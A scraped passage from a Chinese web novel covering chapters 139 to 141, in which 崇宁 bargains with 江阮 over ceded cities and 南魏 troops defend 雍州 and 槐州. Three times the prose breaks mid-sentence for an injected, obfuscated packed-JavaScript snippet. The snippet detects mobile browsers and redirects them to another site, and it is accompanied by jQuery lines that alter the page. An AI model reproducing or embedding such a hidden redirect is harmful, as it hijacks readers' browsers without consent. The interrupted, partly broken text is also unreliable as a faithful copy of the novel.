那封《敬告天下人书》后,元焕几乎费了九牛二虎之力才将民怨压了下来,他为此特意去陆府拜访了陆晁和陆栖川。 陆栖川那时还躺在病榻上,他听完元焕的话久久没有出声,等陆晁和元焕说了许多后,他突然开口。 “陛下愿意废除军户吗?改军户为屯田,不强求百姓非要做杀人的事情,不要刻意去挑起每个人心里的恶,我相信我北梁子民之所以能被这寥寥数语激起仇怨,是因为这千百年来世道不公,天命不公。那陛下愿意把公平还给他们吗?” “陛下,”陆栖川见元焕心有顾虑,便又开口,“若您还信我们陆家,即使没有军户,我们也能给北梁练出所向披靡的军队。” 元焕从陆家离开,他路过了那些被自己关停的铁匠铺,他坐在马车里看着窗外一张张闪过的脸,陆栖川的话像是在他心里埋下了一颗种子,而种子要冲破的土壤,是元衡至死也没能完成的大一统的心愿。 一夜之后,元焕下令解除了军户的束缚,还给所有北梁百姓择业和婚配自由。一瞬间北梁入沸水般腾跃的不安势力消失了,元焕知道陆栖川说得是对的。 这天下没有人不爱和平。 可这件事依旧费了他很多力气,在江阮看来自己的目的已经达到了。他痛恨的是专横的王权,可只现在看来元焕不一样了。 此时江阮拿北梁做示例,他笑着将他与萧祺枫往来的信件双手奉上,崇宁接过来的时候险些直接将它们撕碎,可她知道即使撕掉这些信也掩盖不了萧祺枫做过这些事情,只要江阮想,他一定能让南魏世家对萧祺枫群起攻之。 “你想要什么?” 江阮笑着皱眉,像是很不满意崇宁开门见山的态度。 “殿下何时与我这般生分了?当初你卖了陈京观的行踪,借了我的手消除了心中一大顽疾,那时候殿下对我好生客气,我以为我们是朋友了,或者最起码也是相熟的老主顾。” 江阮见崇宁脸色一绿,不知怎的生出些捉弄她的心思,他背着手来回踱步,形似在说些无关紧要的故事。 “其实在那之前我也同您有过交集,不过那时江某人微言轻,还见不到长公主殿下,我与蒋丞相也是好朋友来着,霜栽的消息就是我告诉他的,算起来您与陈京观的起承转合都有我的参与,是江某的荣幸。” 江阮笑意渐浓,可崇宁的脸色却越发难看,她已经很久没有听人提起过蒋铎了。 江阮说起蒋铎的时候崇宁突然心里一紧,她想着若自己没有轻易舍弃蒋铎,而是出面让萧霖保下他,会不会此时的她就不会如此孤立无援。 可转瞬她自己掐断了这可笑的念头,若是蒋铎在,或许萧祺枫的行为会更加放肆,蒋铎本就有越过崇宁私自掌权的心思,留他到今日或许又是一大祸害。 “对了,还有一次,”江阮故作思索继续道,“时间太久了,我都快记不清了。不知您可曾记得蒋丞相给您献上的宝山遇鬼事一计?小人不才,那时年方十五,思虑还没有如今这般周全,所以后来才让陈京观查到了些纰漏。不过所幸殿下威力无穷将此事压了下来,江阮佩服。” 江阮弯腰朝崇宁叩拜,崇宁眉间刚消散的愁云又凝结到了一起,她记得当时宝山煤矿牵扯当地好几个有名有姓的大家族,她正愁着如何分配利益,蒋铎便上门来献策。 那时候蒋铎还只是个侍郎,他来威岚坊远没有后来那般轻车熟路,他小心翼翼提及自己手下有一个叫江渊的伙计,他无意间提到可以用鬼神来控制人心,蒋铎听后觉得可以一试,特来禀报殿下。 此时的崇宁知道了近乎五六年前的事情,她又重新将目光聚焦在江阮的脸上,眼前的人不过二十出头,他竟然已经在自己身边蛰伏了这么多年,为的就是今日一招杀子满盘通吃。 一时间崇宁后脊背被冷汗浸湿,可她面前的江阮面色如常道:“我与殿下的渊源这般深厚,殿下当真要一上来就要为我何所求吗?殿下是了解我的,我自然不会做亏本的买卖。” 崇宁正了正颜色,勉强稳住自己的手脚,她看着江阮的眼神多了些恨意,“你等的就是今日,就是想看萧霖落得如此下场,看我黄粱一梦,可我们做过什么让你这般恨我们?” 江阮只是笑着摇头,“果然,人在不经意间做的恶,才是源自内心真正的丑陋,事后你们一句‘我不记得了’,便试图抹去所有痕迹。可我江阮,偏是个不甘心的。” 江阮朝着崇宁走了一步,“不知殿下可曾记得,当年东亭低声下气苦苦哀求南魏救自己一命,可南魏做了什么?” “你是为了当日南魏没有救东亭?可那时我们也在自保。” 崇宁反驳道,可江阮缓缓摇头,“那坏在根上的国家没了就没了,没什么可惜的。我只是不理解,为什么你们要下令铲除北梁埋在南魏的所有暗桩,而且是让北梁以骗他们回家的方式,要了他们的性命?那些人为了你北梁做了一辈子见不得光的影子,你们动手的时候却丝毫没有犹豫。” “你们这些高高在上的皇家贵族可能这辈子也想不到,当那些谍子的家眷听闻亲人能够不再过那般的日子时,他们有多开心。” 江阮就是那其中的一个。 当年身为北梁暗探的江子游在泯川楼遇到了带着江阮的阮青衣,他因为自己的身份而终身未娶,他也不指望阮青衣能委身于他,他只希望每日去泯川 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15313610|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楼听她弹一曲《离人怨》。 可阮青衣知道了他的身份后并没有为此疏远他,她好几次收留重伤的江子游在自己的屋子里过夜,她笑着说反正她也没有什么清白,能救人一命也算是替江阮积些功德。 在江子游一次重大任务成功后,他获得不菲的奖赏,他拿到那笔钱的第一件事就是去泯川楼赎走了阮青衣,连带着也给了江阮一个家。 那时的江阮以为自己终于要过上平常人的生活了,可好景不长,一伙官兵突然冲进来抓走了他和母亲,他到了俘虏营后看到了江子游。 那时江子游就剩一口气了,可明明前几日他才说自己被北梁消了暗探的身份,他们可以一起回南魏生活了。 江阮看着江子游被人活活打死,而自己和母亲被人关了起来,终日在阴暗的地窖里过了不知道多少日,他突然发烧了。阮青衣抱着他哭着求侍卫给些药,可侍卫只是盯着她的胸脯看了又看。 阮青衣为了江阮活下去,说出他是姚廣的私生子,于是他们被挪去了另一个稍微豪华些的俘虏营,在那里江阮看到了自己的亲生父亲。 姚廣对这个儿子的存在好似并不意外,即使是被人关进了笼子里,他依旧能在江阮身上找到一些优越感。他看着阮青衣求爷爷告奶奶让外面人救救江阮,姚廣讥笑一声,说了一句:“你只是说怎么能成,要去换啊。” 江阮后来觉得就是这句话让阮青衣走上了绝路,她用自己的命换了江阮能活下去。 所以江阮杀死的第一个人也是自己的父亲。他逃出俘虏营前偷了侍卫的一把刀,毫不犹豫地插进了即将要被接出去的姚廣的胸口。 江阮觉得自己自己遭受的一切他都要讨回来,萧霖就该被自己的儿子杀死,而崇宁,就该被自己信任的人,信任的国家背叛。 可江阮并没有要给崇宁讲故事的兴趣,他的话点到为止,留给崇宁无限的遐想空间。 崇宁久久看着眼前的人,始终无法把他与北梁间谍联系在一起,到最后她放弃了去理解江阮的话,她顿了顿开口道:“事已至此,我没有办法为过去的事情做任何弥补。说吧,你要我做什么,你才能放过萧祺枫,放过南魏,放过我?” “我要你亲手把广梁剩下的两座城送给我,当然,我可以把盛州留给你们做都城,可作为交换,我要槐州。” “我把土地给了你,你便不会再把任何消息放出去对吗?也不会再点起战火?” 江阮欣然一笑,崇宁犹豫片刻应道:“可以,我再信你一回。江阮,人不要太贪心,你的贪心会吃掉你的。” 江阮满不在乎地耸了耸肩,他看着崇宁沿着来时的路往回走,这样一个叱咤南魏快三十年的女人就这样输了,江阮都替她感觉可惜。 不过,事情还没有结束,江阮轻笑一声摇了摇头,他自言自语道:“可他会不会放过你们,我可说不准。” …… “那我们就这样把广梁送出去?如此何以平民怨?” 萧祺枫的声音打着颤,崇宁冷笑一声道:“现在知道怕了?现在知道民怨了?我以为陛下目中无人惯了,早就不在乎陈尸千里了。” 萧祺枫被崇宁怼得哑口无言,崇宁看着他这幅丧气样子连连摇头,“此事既定,已无力回天。我们该要想想如何养精蓄锐打回去,更何况现在盯着我们的可不止江阮一个了。” 见过江阮之后崇宁想了很久,她觉得江阮答应的太轻易了。此时的南魏被他弄的四分五裂,只要他想,完全可以一举拿下南魏,打退堂鼓不是江阮的作风。 况且萧祺桓背后还藏着一个人,江阮应当也发现了。 “收拾收拾去为你的愚蠢埋单吧,我尊敬的陛下。” 139.吊民伐罪(六) “少将军,再往前就到克尔茶湖了,约莫再有五日我们就能从槐州进入南魏。” 穆晓山刚和后头的士兵说完话,看到陈京观一个人坐在地上啃着食之无味的饼,他走过来将自己的酒袋递给陈京观,陈京观道了声谢仰头灌了一口。 “槐州那边没问题,萧祺桓欠我一条命,总是要还给我的。” 穆晓山点了点头,他脸上仍有疑色,却一言不发地坐在了陈京观旁边。陈京观见他没有继续问下去,便自己开口道:“怎么了?” “所以,”穆晓山笑着折断了一根刚冒芽的绿草,“你大费周章跑到啸龙营去告诉萧祺桓这一切的真相,就是为了今天?” “嗯,”陈京观眼含笑意道,“我们回南魏肯定要选一条最稳妥的路,最开始我打算走雍州,可你兄长的事情我忘不掉,我觉得廊州的百姓未必还会认我。” 穆晓山神色一沉,陈京观听到他说:“少将军,我觉得你变了。” 陈京观笑着没说话,穆晓山就继续一边玩弄着手里的草叶一边说:“若是从前的你,你救萧祺桓应当只是出自与薛大人的情谊,你不走雍州应当是怕连累宁师父。虽说结果都一样,可我还是觉得你变了。” “变得更自私了?” 穆晓山摇头,陈京观像是没有料想到他的反应,他侧过身去看穆晓山。 “变得更沉稳了,更像哥哥口中走一步算百步的大人了。” 陈京观哑然失笑,他伸手又问穆晓山讨着酒,两个人你一口我一口将本就不多的酒全喝完了。 “这样也挺好的,至少我知道你们不会跟着我去送死了。” 穆晓山抿了抿嘴,陈京观感觉他缓缓站起身,便微微仰着头看他。 “跟着您的人没有一个人是白死的,您走的每一步也都不是白走的。放心向前,您身后总会有前赴后继追随您的人。” 说罢穆晓山朝陈京观行了一个标准的军礼,就见他重新回到队伍中央喊道:“全军准备,继续向前!” 这次大部队走的是陈京观原先走过的路,就是同江阮一起去找恪多的那次。 时过境迁,陈京观身边的人不一样了,他也不一样了。 当初走在这条路上的两个人互相试探着,都认为自己是能让对方改变的那个人,可最后他们谁也没做到。 他们是天生的对手,只是造化弄人让他们错把对方身上与自己相似的地方,当作了心有灵犀。他们的心都被过去烫了一窟窿,一个流着血,一个结了疤,这才让他们误将对方当成了挚友。 陈京观骑在马上有些出神,他眼中克尔茶湖周遭的风景也随岁月变迁。 明明这次和上次一样都是春日,原本应该是沙尘肆虐的时间,可他们在大漠里走了小十天,每日只能看到晴空万里,偶尔吹来的风也带着草木的香气。 陈京观路过忽兰的营地时想去给他打声招呼,营地里的人却说首领不住在这,他把自己关在了远离人群的荒漠深处。 忽兰少了一条胳膊,整个人也变得颓废了,他不喜欢见人,每日就对着那些树发呆。后来他看着自己亲手养活的一株又一株小苗,看着那成片的绿色终于连到克尔茶湖旁,他好像也释然了。 他这辈子就这样了,可他不希望腾里沙漠还是那片无人区。他在腾里被遏佐重伤,也因此失去了父亲,又或许是天意使然,腾里的风沙又拯救了这个青年。 陈京观有时候觉得西芥这个地方是他的福地,每次迷茫或者无助的时候他总能在这里找到答案和希望,他喜欢一望无际的天和永远都走不完的草原。 如果真的有一天他能选择自己的未来,他或许回到西芥来。 …… 五日后,当陈京观叩响槐州的城门时,迎接他的不是萧祺桓,而是薛磐。 “薛大人,这城里怎么这般冷清?” 陈京观笑着同薛磐问好,他的目光越过薛磐望他身后的街道上看去,他印象中自从西芥改了贸易条款,槐州已经变成第二大外贸货源地,此时眼前的景象却好似回到了他第一次来的时候。 “还有,兴安王呢?”陈京观打趣着问道,“他不会这般记仇吧,连见都不愿见我?” “京观。” 薛磐出声打断了陈京观的话,同时他伸手拦住了他向前的步子。陈京观脸色一变,薛磐犹豫片刻还是开了口。 “我们被崇宁送给了江阮。” 那一瞬陈京观的手失了力气,他手里的缰绳就荡在空中,薛磐喉头微微震颤继续道:“圣旨原说是将广梁送给东亭,我却收到了宗大人的信,他说宁死不降。我把所有槐卫军都派去了雍州,桓儿说这一次他一定能守住。他们走了半个月了,我没了他的消息。” 薛磐的话有些语无伦次,陈京观勉强从中理解了大概意思,他顿了顿精准地捕捉到薛磐话里的用词。 “原说?”陈京观问,“那实际上呢?盛州如今是南魏的都城,崇宁不会舍得给的,她用哪座城换了盛州?” “我们。” 薛磐的话像是一道惊雷劈在陈京观头上,一霎那他觉得整个耳朵什么都听不到了,可几乎是下一秒,陈京观深吸一口气道:“可您还能给我开门,证明槐州还没被拿去?” 薛磐点头,“是,东亭派出三万兵去雍州,剩下的都守在阙州。江阮对崇宁的心思一清二楚,他不会给崇宁反扑的机会。” “那他可就想错了,这槐州也不是他想拿就能拿的。” 陈京观微微侧身朝背后的席英示意,只听席英骑在马上朝城中喊道:“来者平远军首将席英,今日借道槐州,只为清君侧,夺阙都,城中百姓不反抗者,我定护其安宁。” “清君侧,夺阙都!” 席英一声令下,跟在她身后的七万士兵振臂高呼,乌泱泱的军队每一步都让这槐州城地动山摇,城中的百姓不敢出门,可他们听到了“平远军”三个字。 薛磐像是没想到陈京观会如此大张旗鼓地进城,他被眼前的场景怔住,陈京观用手在他眼前晃了晃。 “薛大人,不欢迎我吗?” 薛磐忙痴愣地摇头,他再看陈京观的时候那双眼睛满含泪水,“您还愿意救南魏?” 陈京观轻笑着道:“我救的不是南魏,是不该死的百姓。崇宁碰碰嘴就用两座城换了江阮手里的两封信,她才该死。” 薛磐看着眼前的人,脸上两道热泪翻涌而出。 萧祺桓和他说陈京观变了,他原是不相信的,后来他信了的时候又开始怕,他怕陈京观变得让他不认识了。 可如今出现在自己眼前的人就是陈京观,他是变了,薛磐却还是认得他。 “但我只能给您两万人,不过您放心我会把席英留下。剩下的人我要带走去雍州,我一定还会把兴安王给您带回来。” 陈京观说完,他看到已经进城的席英遥遥和他点头,两人目光碰触的一瞬相视一笑。 只是还没等陈京观的步子迈出槐州城,他突然看到远处跑过来一个浑身是血的兵士,他骑在马上扶着胸口,一边走嘴里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15322735|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还念叨着:“我们胜了!我们终于胜了!” 穆晓山忙上去接住了那个兵士,苏清晓稳住他后给他号脉,他看着陈京观微微点头,轻声道了一句“无大碍”。 “小川!你怎么自己跑回来了,桓儿呢?” 薛磐紧赶慢赶还是被堵在了人群外面,他扒拉着里三层外三层的人往里边跑,等他看清躺在穆晓山怀里的人后脸色一变。 “兴安王让我先回来给您报个平安,雍州守住了,他估摸着也快回来了。” …… 一个月前陈京观领兵出发,他临走留下了平芜,说是谍子搜来的情报他不放心其他人,一定要让平芜经手,于是沁格把穆晓山派给了陈京观做副将。 陈京观走后十天左右,一天夜里平芜的帐帘突然被人拉开,平芜条件反射似的抓起旁边的刀,定睛一看却是自己派去盛州的谍子。 “怎么了?” 平芜勉强抑制住被人扰了好梦的烦躁,他面前的人凑过来伏在他耳边说:“崇宁把广梁交出去了,不过好像用槐州换了盛州。” 平芜一惊,所有的困倦消散殆尽,他随便裹了一件外衣就冲到了沁格的帐外,还尚存的一丝理智拉住了他,他朝屋里试探着喊道:“别吉!平芜有急事禀报!” “进来。” 里面的人也没睡,平芜拉开帘子,让跟着自己的兵士守在外面,他放下帘子的同时说道:“我需要再借您两万人。崇宁卖了雍州和槐州,我想带兵回一趟雍州。” 闻言,坐在榻上的沁格一言不发地看着平芜,平芜知道是自己冒昧了,他眼眸低垂说了一句“对不起”,转身就要往外走。 “陈京观会救的,他不会放着雍州不管。” “可为什么江阮偏偏选中槐州做代替?”平芜停住脚下的步子,抬眸看着沁格,“我觉得他算准了师兄这些日子要有动作,雍州和槐州是他最有可能走的地方,他想扰了师兄原本的计划。” 见沁格没有说话,平芜继续道:“的确,我可以现在去一封信让师兄调兵前往雍州,可这一来一回浪费的时间就是江阮想要的,他要分散我们的兵力,当初他打崇州就是用这一招声东击西。” “可我本就只留了三万人在西芥,如果我把所有兵都给你们,”沁格顿了顿,“我就是在拿西芥的全部身家陪你们一起赌。” “别吉,”平芜抿了抿嘴,他望着沁格的眼神有些不知所措,“这一次我向您保证,一定不会输的。” “你?”沁格轻笑一声,“陈京观都不敢说这话,你拿什么和我保证?” “我娘还在雍州。” 平芜的话切断了屋内最后一息声响,两个人之间只剩下沿着帘子缝隙吹进来的夜风,沁格望着平芜半天没有说话,平芜再开口时声音有些哽咽,“我哥死了,我娘至今都不知道,我不想让她也死的不明不白。” 像是感觉自己有些失态,平芜深吸一口气正了正颜色,“而且江阮这次不可能派出所有人,他手里能动的也就两三万人,他还要守着老家,元焕和崇宁都盯着他呢。您信我,我快去快回,这件事不要告诉师兄,让他全力进发盛州。” “我只能给你一万人,而且如果他们回不来,你也不用回来了。” 沁格说完后觉得自己话说的有些重,可平芜只是闷声应了句“好”,头也不回地朝马厩走去。 那天夜里,西芥的骑兵全部换上了轻便的铠甲,他们用最快的速度进发雍州,平芜走在队伍最前头,直到他看到那座京观,他知道他回家了。 140.吊民伐罪(七) 雍州的城门一如往常般在宵禁后落了锁,可平芜能感觉到不同寻常的气息,他抬手止住了身后的队伍。 如果江阮要进攻雍州势必会从东边的城门进入,此时平芜所在的西门没有哨兵,这说明江阮还没有拿下雍州,而雍州的守军已经把能用的人都叫去了前线。 “众将士听令!攻破城门,杀尽城中东亭狗贼!” 平芜的话音伴着嘶喊声直冲雍州那扇摇摇欲坠的城门而去,等城里的人回过神时只听“嘭”的一声,大门被打开的瞬间平芜冲进城中。 眼前的景象平芜这辈子也忘不掉,这条他走了千百次的路上躺着的全是他面熟的人。 他还记得他随陈京观出发前,魏家面馆的婆婆请他吃了一盘饺子,她说上车饺子下车面,等他回来再给他煮面。 此时她就躺在路中间,身上的血渍已经分不清是她的还是她身边人的,平芜脸上湿润一片,他手里的刀随着他的哭喊一下又一下落在东亭军身上。 平芜周围的西芥兵被血腥气点燃了胸中的愤懑,常人道西芥兵残虐,杀人不眨眼,可望着这尸横遍野的长街,他们觉得自己比东亭的暴戾逊色三分。 为首的平芜像是疯了一般冲杀着,这条街不长,他小时候总觉得还没跑几步就到家了,可现如今他好像看不到尽头,源源不断的人涌上来,他的脸上溅满四散的鲜血。 昌用商行在东门口。 平芜就靠着这个信念一直不知疲倦地往前冲,等他到了东门口时却看到了与东亭军制式不一样的铠甲。他红着眼睛喘着粗气,握着刀的手有些发抖,人群中他看到了几个熟悉的身影,他像是不敢相信般摇了摇头,强迫自己清醒一点。 “师父。” 宁渡转身看到了满脸是血的平芜,他胸前两道长长的刀口已经结痂,而看到宁渡的小孩终是没忍住自己不断上涌的鼻酸,他张嘴的瞬间尝到了眼泪的咸,“我娘呢?” “在屋里,我让她等我死了再出来。” 宁渡嘴上逗着平芜,努力挤出一个笑,可平芜看得出他忍着痛,“小平芜长大了,能救师父了。” 平芜没说话,下一秒用刀捅穿了刺向宁渡背后的东亭军。 “走吧,我们一起把家守住。” 宁渡握着刀的手顿了顿,他看着平芜说完便越过自己直冲向对方阵营,那个从小跟在自己身后撒娇耍赖的小子真的长大了,他长成了平呈宙幻想中自己的模样。 宁渡深吸一口气拽回了自己的思绪,胸口的刀伤也随着他停下的动作显现出应有的剧痛,他额角冒着冷汗,尽力跟上平芜的脚步。 “老宁,你看到兴安王了吗?” 宗毓庆不知何时出现在宁渡背后,宁渡头也不回地应道:“他带着槐卫军去了城外,他说这么打不是办法,要把人堵在门口。” “你在这守着,我带着援军从西门出去包抄。槐卫军就小一万人,他还留了一多半在城里,这打了快一天一夜了,我怕……” “我跟你去。” 宗毓庆转头,看着一个身形高大的男子站在自己身侧,他手里的刀都足有半人高。他说话时手里的动作依旧没有停歇,宗毓庆眼睁睁看着面前的敌人身首异处。 “我叫穆远山,少将军救过我们三兄弟的命。” 穆远山解释道,随后叫来了跟着自己的卫兵,“右路的分队跟我走,给这位大人一匹马。” 宗毓庆连连作揖道谢,穆远山却用刀鞘止住了他的动作,“等赢了再谢也不迟,老子等着一仗很久了。” 说罢穆远山一个飞身上马,他手里的长鞭撕裂天空,宗毓庆看着远去的背影失笑,上马跟了上去。 城里有了平芜带来的天降奇兵,再加之萧祺桓从一开始就切断了东亭的队伍,东亭军犹如失去了方向的飞蛾,被关在雍州城里等待着平芜的裁决。 可东门口的萧祺桓全然不知道这一切,他被敌人用长枪挑下马的时候感觉自己差点被拦腰斩断,他嘴里的鲜血混着不知道是何处飘来的飞絮。他平日里最爱干净,可如今他身上那件长袍已经看不出原来的颜色了。 “殿下,我掩护您退吧,您退到城里兴许能等到援军。” 跟着萧祺桓的副将被刀划破了脸颊,他说话时萧祺桓甚至能看到皮肉里的森森白骨。 当初萧祺桓一时意气要亲自带兵去驰援雍州,不过是因为廊州一战他打得太憋屈了。他是没打过仗,可他觉得至少不该就那样认输。 如今他真真切切站在里敌军面前,他看见满地残肢断臂,看见死不瞑目的士兵,说实话他杀了第一个人的时候他就怕了,他看着眼前的人倒下时如同一面被推倒的墙,落地时的闷响让他一激灵。 可他就站在战场上,现实中一波又一波涌上来的敌人不会给他思考的时间,慢慢的他成了只会挥动手臂的机器,而他身上挨的每一下都在提醒他,你还没死,你还得继续杀人。 此时距离东亭进犯已经过去两天了,宗毓庆带着人守了一天,雍州城内弹尽粮绝时他盼来了萧祺桓,可萧祺桓知道自己盼不来其他人了。 萧霖死了,唯一可能会救他的人死了。 萧祺桓不知道母亲是不是正在宫里急得团团转,她是不是后悔让自己来槐州了。 “援军,”萧祺桓嘴角微微抽搐着,“我们本就是被崇宁丢掉的垃圾,在她眼里我们早就死了。我能打到现在只是想证明我不是只会打败仗的落魄太子,可惜,我又给自己添了一笔。” 萧祺桓轻笑一声,转瞬他吐掉了嘴里的血沫子,“不过只要我还没死,我就不会放这些狗东西进城。过去他们打得都太容易了,瞧那一个个目中无人的样子,我要让他们知道南魏人还没死绝呢。” 萧祺桓用刀撑住了自己的身体,拖着刀一步步走到了敌人面前,副将跟在他后面拦住所有想要来杀他的人,后来萧祺桓身后也没了动静,他知道只剩下他一个人了。 萧祺桓看着脚下的槐卫军,那是薛磐费心养起来的槐卫军,是他在西芥进攻槐州后创立的槐卫军,如今全葬送在了自己手里。 萧祺桓想着,他们用两千人杀了近一万东亭军,也不知道算不算回本了,可随即他苦笑一声,他只知道他和这些人都回不去了。 “给老子打!” 萧祺桓以为自己听错了,他奋力抗下对面东亭军劈头盖脸的攻势后,他听到了一声呼喊,紧接着他对面的人应声落地,他被人拽着胳膊拉到马上。 “宗大人?” 萧祺桓贴着宗毓庆的后背,他能感觉到眼前的人也在发抖。 “是西芥的援军,平芜带回来的。城里的敌军差不多扫清了,我就带了人来救您,索性赶上了。” 萧祺桓堵在胸口的气长吁不止,他像是脱了力一般靠在宗毓庆背上。 “所以我们赢了?” “嗯,我们终 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15330938|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于赢了。” …… 薛磐刚止住的眼泪又开始流,他将这一切归根于年纪大眼窝变浅了,他笑着抹眼泪,让跟着自己的伙计把送信的士兵接到了自己府上。 “这是南魏打的第一场胜仗。” 薛磐感叹道,陈京观却只是沉默着没说话,薛磐看着他若有所思的表情问道:“你是想到了什么?” 陈京观笑着开口,语气里却有些失落,“我还是能被他算到在想什么,这样我可赢不了他。” 薛磐转头看着陈京观,发现他脸上镀了一层与这周遭喜悦氛围截然不同的阴影,他的眼睛盯着面前仍在往城里涌的士兵,神色慢慢冷下来。 “果然,他还是祺高一筹。” 陈京观长叹一口气,看着薛磐的时候不自觉将目光柔和了下来。 “薛大人,一切按原计划进行。” 三日后,陈京观将带着七万兵直冲盛州行宫,他要揪着萧祺枫的领子问一问,他杀萧霖的时候就没有犹豫吗? 陈京观这几日每每想到萧霖已经死了,他就觉得恍惚。他肚子里憋了一堆要审问萧霖的话,他要让萧霖亲口告诉他朔州一战的真相,他要听萧霖说他错了,无论是对陈频还是对自己。 其实这些都不重要了,可陈京观就是执拗地想要个答案。 “我信过你的,你说什么我都信,我记得你的好,记得你曾是我的姨夫。可我父亲是那样死的,我也差点那样死了。我以前只觉得你自私,现在却觉得你懦弱。萧霖,你可曾有一刻对谁有过真情?” 可惜这些话萧霖听不到了,陈京观也听不到他的回答了。 一切怨怼随着死亡被埋进土里,萧霖的坟墓会长出谎言浇灌出的花,还是任由满是悔恨的荆棘从他心里生根发芽冲破土壤,这一切都不重要了。 陈京观向后摆了摆手,苏清晓从队伍最后面走过来,他看到薛磐的时候难得恭敬,薛磐望着他半天没说出话。 “薛伯,我终于能这样叫您了。这是苏清晓,苏大人的儿子,”陈京观顿了顿,“而我是陈景豫,陈频的儿子。” 薛磐并没有表现出陈京观意料中的意外,他慈祥地笑着朝两人点头,“我早就知道了,其实我应该早就知道的。” 明明你和他那么像,薛磐叹了一口气,他觉得自己应该更早想到的,这南魏也就陈家还能生出这样不要命的人。 “是萧霖给您说的?” 薛磐摇头,“甄大人在我去阙州前告诉我的,不过我觉得应该也是先帝的授意。那时候先帝应该就有所预感了,可惜他没等到你。” 陈京观低下头的时候晃了神,再抬起头时面色如常,“罢了,他不死,我就没办法露面。我们的结局终究是谁也没等到对方说一句心里话。” 陈京观笑着摇头,而他身边的苏清晓却一边一个将他和薛磐的胳膊搂住,“走吧,我饿了。我听说您做的馒头好吃,薛伯也做给我尝尝呗。” 薛磐无奈地摇头应了声“好”,一行人往城中走去。 一路上陈京观看到大路两边栽了好些梨树,薛磐转头注意到了他的表情,就笑着解释说:“亏了你的那张字条,我和昭昭将话都说开了。如今萧霖死了,我让人去盛州接她了,她喜欢梨花,来的时候说不定还能看见。” 陈京观笑着没说话,倒是苏清晓问道:“你写了什么?” “昭昭如愿,岁岁安澜。” 141.吊民伐罪(八) 陈京观要动身前往盛州的那个清晨,薛府的大门在天没亮时就被人推开,薛磐披了件衣服出去看,望见浑身是血的萧祺桓立在门边。 “阿公。” 萧祺桓看见薛磐的一瞬间就哭了,他像个做错事的孩子扑到了薛磐怀里,薛磐心疼地揉着他的头发,却又怕自己力气大了碰到他的伤口。 “槐卫军七千零三十二人,就活下来不到三百个,我有罪。” 薛磐本想说”你回来就好”,可话到嘴边又咽了下去。 明日他要如何对那些失去儿子,失去丈夫的百姓诉说这一仗的艰辛,他张不开嘴。他的孙儿回来了,可他带出去的兵没了。 “陈京观在这对吗?” 薛磐点了点头,萧祺桓挣扎着从薛磐怀里出来,他看到了薛磐背后站着的陈京观也在望着自己。 “好久不见。” 萧祺桓没有应和陈京观的问候,他往前走了两步,突然跪到了陈京观面前。 “对不起。” 晨昏交接时分,忽明忽暗的阳光下陈京观看不清萧祺桓的表情,可陈京观微微皱眉的动作落在了薛磐眼里,只是他没有动作,就远远看着两个人。 “是谁?” 陈京观还是没有把那句“死了”说出口,这小半年他身边的人一个个都没了,他从未感觉到生命的流逝如此轻易,就好像他抓不住腾里的沙,他也抓不住他爱的人。 “穆将军带兵打掉了东亭安在廊州城外的暗哨,可他也留在了那。宗大人为了掩护我断了一只胳膊,我走的时候他还没醒。宁师父身上的伤郎中瞧了,说了伤了心肺,以后冬天会更难捱。平芜的右肩被人刺伤了,不知道以后还能不能拿刀。” 萧祺桓的话毫无停顿,可每一个字他说出口时都艰难无比,他侧身看到一个很像穆远山的身影从门里走出来,他知道那应该就是穆晓山。 “我哥,可有给我留话?” 穆晓山红着眼睛努力不让眼泪流出来,萧祺桓点了点头,“他说他要替你二哥报仇,那伙土匪他查清了,是江阮的人扮的,我上次暴露行踪也是他们的手笔,你哥说要替陈京观把路扫平。” “可有,给我留话?” 穆晓山又问了一遍,萧祺桓终于明白了他的意思,他低下头的动作给了穆晓山回答,穆晓山苦笑一声作罢,一声不响回到了自己屋里。 “我们明明胜了,可我怎么一点也开心不起来。陈京观,你也会这样吗?” 萧祺桓仰着头看陈京观,眼前的人什么话也没说,走上前把他搀了起来。 “殿下,”陈京观顿了顿,“谢谢你。” 萧祺桓转头看陈京观,陈京观躬身作揖道:“如果没有您带着槐卫军驰援雍州,雍州等不到平芜。” 萧祺桓默默低下了头,陈京观继续道:“您比我厉害,至少您赢了,那些人都没有白死,你替南魏打了第一场胜仗。” 陈京观沉沉弯腰,行礼的动作维持了小一刻,萧祺桓就静静看着他在自己面前伏腰,他想上前去扶陈京观,却看到薛磐对着自己摇了摇头。 “我该出发了。” 半晌后陈京观缓缓站定,他身后的屋子里慢慢走出一个又一个人,他们看着院落中央的萧祺桓,在静默中,所有人都朝萧祺桓鞠躬行礼。 “我会让胜利继续留在我们手里的。” 